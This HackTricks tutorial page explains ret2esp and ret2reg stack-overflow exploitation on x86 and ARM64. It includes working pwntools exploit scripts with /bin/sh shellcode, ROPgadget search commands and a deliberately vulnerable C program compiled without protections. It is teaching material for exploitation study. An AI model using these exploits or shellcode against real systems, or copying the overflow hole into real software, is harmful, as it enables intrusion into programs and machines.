Ret2esp / Ret2reg
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŚ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Ret2esp
Because the ESP (Stack Pointer) always points to the top of the stack, this technique involves replacing the EIP (Instruction Pointer) with the address of a jmp esp or call esp instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the ret instruction executes, ESP points to the next address, precisely where the shellcode is stored.
If Address Space Layout Randomization (ASLR) is not enabled in Windows or Linux, itâs possible to use jmp esp or call esp instructions found in shared libraries. However, with ASLR active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat PIE).
Moreover, being able to place the shellcode after the EIP corruption, rather than in the middle of the stack, ensures that any push or pop instructions executed during the functionâs operation donât interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the functionâs stack.
Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial jmp shellcode like:
sub rsp, 0x30
jmp rsp
And write the shellcode early in the stack.
Example
You can find an example of this technique in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp with a final exploit like:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
You can see another example of this technique in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. There is a buffer overflow without NX enabled, itâs used a gadget to reduce the address of $esp and then a jmp esp; to jump to the shellcode:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage call eax or jmp eax instructions (known as ret2eax technique), offering another method to execute our shellcode. Just like eax, any other register containing an interesting address could be used (ret2reg).
Example
You can find some examples here:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpywill be store ineaxthe address of the buffer where the shellcode was stored andeaxisnât being overwritten, so itâs possible use aret2eax.
ARM64
Ret2sp
In ARM64 there arenât instructions allowing to jump to the SP registry. It might be possible to find a gadget that moves sp to a registry and then jumps to that registry, but in the libc of my kali I couldnât find any gadget like that:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
.png)
Ret2reg
If a registry has an interesting address itâs possible to jump to it just finding the adequate instruction. You could use something like:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
In ARM64, itâs x0 who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Checking the disassembly of the function itâs possible to see that the address to the buffer (vulnerable to bof and controlled by the user) is stored in x0 before returning from the buffer overflow:
.png)
Itâs also possible to find the gadget br x0 in the do_stuff function:
.png)
We will use that gadget to jump to it because the binary is compile WITHOUT PIE. Using a pattern itâs possible to see that the offset of the buffer overflow is 80, so the exploit would be:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
Warning
If instead of
fgetsit was used something likeread, it would have been possible to bypass PIE also by only overwriting the last 2 bytes of the return address to return to thebr x0;instruction without needing to know the complete address.
Withfgetsit doesnât work because it adds a null (0x00) byte at the end.
Protections
- NX: If the stack isnât executable this wonât help as we need to place the shellcode in the stack and jump to execute it.
- ASLR & PIE: Those can make harder to find a instruction to jump to esp or any other register.
References
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŚ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

